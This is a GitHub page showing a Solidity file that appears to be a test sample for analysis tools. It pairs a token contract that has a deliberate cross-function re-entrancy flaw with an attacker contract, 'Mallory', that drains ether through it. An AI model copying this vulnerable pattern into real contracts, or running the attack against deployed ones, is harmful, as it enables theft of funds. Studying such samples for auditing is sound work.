-
Notifications
You must be signed in to change notification settings - Fork 22
/
cross-function.sol
130 lines (110 loc) · 4.24 KB
/
cross-function.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
pragma solidity ^0.5.0;
/*pragma solidity ^0.4.19;*/
contract Token {
// This contract keeps track of two balances for it's users. A user can
// send ether to this contract and exchange ether for tokens and vice
// versa, given a varying exchange rate (currentRate).
mapping (address => uint) tokenBalance;
mapping (address => uint) etherBalance;
uint currentRate;
constructor() public {
// for solidity 0.4.19
/*function Token() public {*/
currentRate = 2;
}
// This contract supports various utility functions for transferring,
// exchanging Ether and Tokens.
// Note that this probably makes it rather hard for symbolic execution
// tools to execute all combinations of possible re-entry points.
function getTokenCountFor(address x) public view returns(uint) {
return tokenBalance[x];
}
function getEtherCountFor(address x) public view returns(uint) {
return etherBalance[x];
}
function getTokenCount() public view returns(uint) {
return tokenBalance[msg.sender];
}
function depositEther() public payable {
if (msg.value > 0) { etherBalance[msg.sender] += msg.value; }
}
function exchangeTokens(uint amount) public {
if (tokenBalance[msg.sender] >= amount) {
uint etherAmount = amount * currentRate;
etherBalance[msg.sender] += etherAmount;
tokenBalance[msg.sender] -= amount;
}
}
function exchangeEther(uint amount) public payable {
etherBalance[msg.sender] += msg.value;
if (etherBalance[msg.sender] >= amount) {
uint tokenAmount = amount / currentRate;
etherBalance[msg.sender] -= amount;
tokenBalance[msg.sender] += tokenAmount;
}
}
function transferToken(address to, uint amount) public {
if (tokenBalance[msg.sender] >= amount) {
tokenBalance[to] += amount;
tokenBalance[msg.sender] -= amount;
}
}
// This is the function that will be abused by the attacker during the
// re-entrancy attack
function exchangeAndWithdrawToken(uint amount) public {
if (tokenBalance[msg.sender] >= amount) {
uint etherAmount = tokenBalance[msg.sender] * currentRate;
tokenBalance[msg.sender] -= amount;
// safe because it uses the gas-limited transfer function, which
// does not allow further calls.
msg.sender.transfer(etherAmount);
}
}
// Function vulnerable to re-entrancy attack
function withdrawAll() public {
uint etherAmount = etherBalance[msg.sender];
uint tokenAmount = tokenBalance[msg.sender];
if (etherAmount > 0 && tokenAmount > 0) {
uint e = etherAmount + (tokenAmount * currentRate);
// This state update acts as a re-entrancy guard into this function.
etherBalance[msg.sender] = 0;
// external call. The attacker cannot re-enter withdrawAll, since
// etherBalance[msg.sender] is already 0.
msg.sender.call.value(e)("");
// problematic state update, after the external call.
tokenBalance[msg.sender] = 0;
}
}
}
// attack contract
contract Mallory {
Token t;
// this is used to stop the re-entrancy after the second time the Token
// contract sends Ether to the Mallory contract.
bool private abort;
constructor(Token _t) public {
// for solidity 0.4.19
/*function Mallory(Token _t) public {*/
t = _t;
abort = false;
}
function deposit() public payable {}
function setup() public payable {
// exchange nearly all available ether to tokens
uint avail = address(this).balance - 2;
t.exchangeEther.value(avail)(avail);
// deposit the last remaining ether
t.depositEther.value(address(this).balance)();
}
function attack() public payable {
// call vulnerable withdrawAll
t.withdrawAll();
}
function () external payable {
if (!abort) {
// stop the second re-entrancy, which is caused by the transfer
abort = true;
t.exchangeAndWithdrawToken(t.getTokenCount());
}
}
}